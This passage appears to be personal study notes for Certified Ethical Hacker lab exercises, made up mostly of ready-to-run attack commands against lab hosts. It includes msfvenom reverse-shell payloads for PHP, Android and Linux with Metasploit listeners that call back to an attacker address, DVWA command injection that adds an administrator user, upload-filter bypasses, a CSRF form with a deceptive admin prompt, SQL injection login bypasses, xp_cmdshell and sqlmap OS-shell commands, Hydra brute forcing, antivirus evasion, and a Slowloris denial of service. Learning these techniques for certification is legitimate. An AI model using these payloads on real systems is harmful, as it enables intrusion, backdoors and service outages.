- Type ***netsh firewall show opmode*** | to shown firewall stats
- Type ***netsh advfirewall set allprofiles state off*** | to turn off firewall.
- Type ***getsystem***
- Type **ps** | processes

HACKING WEB SERVERS

Skipfish – Webserver Reconnaissance

skipfish -o /root/test -S /usr/share/skipfish/dictionaries/complete.wl http://10.10.10.12:8080 | -o path to store output, -S read only word list

httprecon Tool – Webserver Foot printing

- Open tool on Windows
- Enter IP and Port
- Click Analyze

ID Server - Webserver Foot printing

- ID Serve determines the domain name associated with an IP address.
- Click the **Server Query** tab. In option 1, enter the URL (http://10.10.10.12:8080/CEH)
- Click **Query the Server**

HYDRA – FTP Brute force

- ***hydra -L /root/Desktop/Wordlists/Usernames.txt -P /root/Desktop/Wordlists/Passwords.txt ftp://[IP Address of Windows 10]*** | -L username wordlist -P password wordlist, -t 4 option sometimes 16 threads result in no results
- Use ***mkdir*** command to make a directory and view on remote system for proof

Uniscan - WebServer Fingerprinting (Kali)

- Use ***uniscan -h*** | for usage techniques
- ***uniscan -u http://10.10.10.12:8080/CEH -qwed*** | -u url scan . -q directory check, - w file check, -e robots.txt and sitemap.xml check, -d for dynamic checks
- To view report, go to **/usr/share/uniscan/report**

HACKING WEB APPLICATIONS

Parameter Tampering and XSS

- Change id parameter in profile to view other profiles.
- For XSS, type the script in comments field in contact page. (This is stored XSS and will be shown to every user who views the contact tab)

WPScan and Metasploit – Enumerating and Web App Hacking

- Use ***wpscan --url http://[IP Address of Windows Server 2012]:8080/CEH --enumerate u*** | enumerate user list
- In msfconsole ***use auxiliary/scanner/http/wordpress_login_enum***
- Type ***set PASS_FILE /root/Desktop/Wordlists/Passwords.txt***
- Type ***set RHOSTS [IP Address of Windows Server 2012]***
- Type ***set RPORT 8080***
- Type ***set TARGETURI /CEH/*** or complete URL
- Type ***set USERNAME admin*** and press Enter to set the username as admin.
- Type ***run***
- Use URL **http://[IP Address of Windows Server 2012]:8080/CEH/wp-login.php** to login.

Remote Command Execution - Exploiting Vulnerability in DVWA

- http://10.10.10.12:8080/dvwa **| gordonb:abc123**
- Set Security settings to low
- | hostname
- | whoami
- | tasklist
- | dir C:\
- | net user
- | net user <username> /add | add custom user
- | net user <username>
- | net localgroup Administrators <username> /add | add user to admin group

VEGA -Web Application Audit (Kali)

- Open from Web application analysis
- Start New Scan
- Enter URL http://10.10.10.12:8080/dvwa
- Select all modules
- Leave rest settings as default and start.

Acunetix WVS (Windows)

- Install with password qwerty@1234 and port 13443
- Add target. http://www.moviescope.com
- Run Full Scan with OWASP 2013 report.
-

File Upload Vulnerability – All Levels DVWA

Payload Creation

- ***msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.10.11 lport=4444 -f raw*** | create a raw php code
- Copy the code in a text file and save as .php

Low Level Exploitation

- Upload the file | note the path /dvwa/hackable/uploads/<filename>.php
- Run listener by starting msfconsole
- Type ***use exploit/multi/handler***.
- Type ***set payload php/meterpreter/reverse_tcp***.
- Type ***set LHOST 10.10.10.11***.
- Start listener, type ***exploit***
- Browse link of file to start meterpreter session.

Medium Level Exploitation

- Rename file as <filename>.php.jpg
- While uploading, intercepting with burp and rename back to <filename>.php
- Run listener by starting msfconsole
- Type ***use exploit/multi/handler***.
- Type ***set payload php/meterpreter/reverse_tcp***.
- Type ***set LHOST 10.10.10.11***.
- Start listener, type ***exploit***
- Browse link of file to start meterpreter session.

High Level Exploitation

- Open the <filename>.php file and add code **GIF98** at start and save file as <filename>.jpg
- Upload file
- Now go to command execution tab and use command **<Some IP>||copy C:\wamp64\www\DVWA\hackable\uploads\<filename>.jpg C:\wamp64\www\DVWA\hackable\uploads\shell.php**
- Run listener by starting msfconsole

- Type ***use exploit/multi/handler***.
- Type ***set payload php/meterpreter/reverse_tcp***.
- Type ***set LHOST 10.10.10.11***.
- Start listener, type ***exploit***
- Browse link of file to start meterpreter session.

Cross-Site Request Forgery (CSRF)

- Open http://10.10.10.12:8080/CEH/wp-login.php | admin:qwerty@123
- Plugins → Installed Plugins → Firewall 2 → Settings → View Whitelisted IP
- Run command ***wpscan -u http://10.10.10.12:8080/CEH --enumerate vp*** | vp vulnerable plugins
- Create a form with code
- Save as <filename.html>

```
<form method="POST" action="http://10.10.10.12:8080/CEH/wp-admin/options-general.php?
page=wordpress-firewall-2%2Fwordpress-firewall-2.php">
<script>alert("As an Admin, To enable additional security to your Website. Click Submit")</script>
<input type="hidden" name="whitelisted_ip[]" value="10.10.10.11" >
<input type="hidden" name="set_whitelist_ip" value="Set Whitelisted IPs" class="button-
secondary">
<input type="submit">
</form>
```

- Get victim to run it

SQL INJECTION

Manual Injection

- ***' or 1=1 --*** | for login bypass
- ***'insert into login values ('john','apple123'); --*** | create own user in the database
- ***'create database mydatabase; --*** | create database with name of mydatabase
- ***'exec master..xp_cmdshell 'ping www.moviescope.com -l 65000 -t'; --*** | execute ping on moviescope

N-Stalker Free X - Web Application Security Scanner

- Open tool, Enter URL **http://www.goodshopping.com** and select **OWASP Policy,** Click **Start Scan Wizard.**
- Leave Settings as default and start session.
- Start scan. Wait for scan to complete to view results.

SQLMAP

- Login into website, Get user session cookie via document.cookie is console.
- ***sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie=<"cookie values"> --dbs***
- ***sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie=<"cookie values"> -D <database name> --tables***
- ***sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie=<"cookie values"> -D <database name> -T <table name> --columns***
- ***sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie=<"cookie values"> -D <database name> -T <table name> --dump***
- ***sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie=<"cookie values"> --os-shell***

HACKING WIRELESS NETWORKS

WEP Cracking – AIRCRACK-NG

aircrack-ng '/root/Desktop/Sample Captures/WEPcrack-01.cap' | '' are not needed if there is no space in folder name

WPA2 Cracking – AIRCRACK-NG

aircrack-ng -a 2 -b 20:E5:2A:E4:38:00 -w /root/Desktop/Wordlists/Passwords.txt '/root/Desktop/Sample Captures/WPA2crack-01.cap' | -a 2 mode WPA2, -b bssid, -w worlist

HACKING MOBILE PLATFORMS

Generating and Executing Payloads for Android

Setup Android

- Open terminal, run ***su***
- Run ***ip addr add 10.10.10.69/24 dev eth0***

Generate Payload

- ***msfvenom -p android/meterpreter/reverse_tcp --platform android -a dalvik LHOST=10.10.10.11 R > Desktop/Backdoor.apk*** | R raw
- Host the payload and run a listener on Kali
- Type ***use exploit/multi/handler***.
- Type ***set payload android/meterpreter/reverse_tcp***.
- Type ***set LHOST 10.10.10.11***.
- Start listener, type ***exploit -j -z***
- Browse link of file to start meterpreter session.

Exploit Execute

- Open kali hosted link. Download APK using es file downloader. Install and run.

CLOUD COMPUTING

Using owncloud

- Hosted at ubuntu machine http://10.10.10.9/owncloud. admin:qwerty@123
- Create users and share files to users.
- Install Desktop client and share and view files

ClamAV Protection of cloud

Cloud is currently protected by ClamAV so no malicious file is uploaded.

Bypassing ClamAV

- ***msfvenom -p linux/x86/shell/reverse_tcp LHOST=10.10.10.11 LPORT=4444 --platform linux -f elf > /root/Desktop/exploit.elf*** | generate a linux based executable
- Type **use multi/handler**
- Type **set payload linux/x86/shell/reverse_tcp**
- Type **set LHOST 10.10.10.11**
- Type **set LPORT 4444**
- Type **run**
- Upload payload in shared folder.
- Download using admin, Set permission to **chmod -R 755 exploit.elf**
- Execute exploit **./exploit.elf**

DOS Attack using Slowloris.pl script

- Open Slowloris folder
- Run ***chmod 777 Slowloris.pl***
- Execute script ***./solaris.pl -dns 10.10.10.9***
- DOS attack successful

CRYPTOGRAPHY

HASHCALC

Easy to use GUI based. Supports text and files

MD5 CALCULATOR

Easy to use, integrates with explorer right click. Right Click any file and select MD5 Calculator to calculate its MD5 Hash.

CRYPTOFORGE

- Install and it will appear as an encrypt when right clicking on files.
- To Encrypt open cryptoforge text and enter your text here and use a passphrase to encrypt

BCTEXTENCODER

Simple GUI based. Enter text and encode it using password.

CREATING SELF-SIGNED CERTIFICATE

- Open **inetmgr**
- Click machine name and select **Server Certificates**
- From actions select **Create Self signed Certificate**
- Choose Name and Personal.
- Go to a **Site**, choose **Bindings** from the **Action** pane.
- Select Add.
- Select Https, IP 10.10.10.16, hostname www.goodshopping.com, select the certificate.
- Go the site and right click refresh one time.

VERACRYPT - DISK ENCRYPTION

Create Encrypted containers which can be mounted as Virtual Disks.

Creation

Create Volume → Create an Encrypted File Container → Standard VeraCrypt volume → Volume Location (Path to save the container) → Encryption AES Hash SHA-512 → Size of Volume → Enter Password → Generate mouse randomness → Format Exit

Mount Volume

Select Drive Letter → Select File → Mount → Enter Password → Disk shown in Explorer

CrypTool – Data Encryption

File → New → Enter Text → Encrypt/Decrypt → Symmetric (Modern) → RC2 → KEY 05 → Encrypt

File → Open → Encrypt/Decrypt → Symmetric (Modern) → RC2 → KEY 05 → Decrypt

EXTRAS

- ***python -m SimpleHTTPServer*** | Starts a quick HTTP server in the current directory
- ***admin' --***
  admin' #
  admin'/*
  ' or 1=1--
  ' or 1=1#
  ' or 1=1/*
  ') or '1'='1--
  ') or ('1'='1—
- ***netdiscover -i eth0 <subnet>***
- ***cewl -d 2 -m 5 -w docswords.txt https://example.com***
- CEH LABS Wordlist file is placed in Module 13 labs folder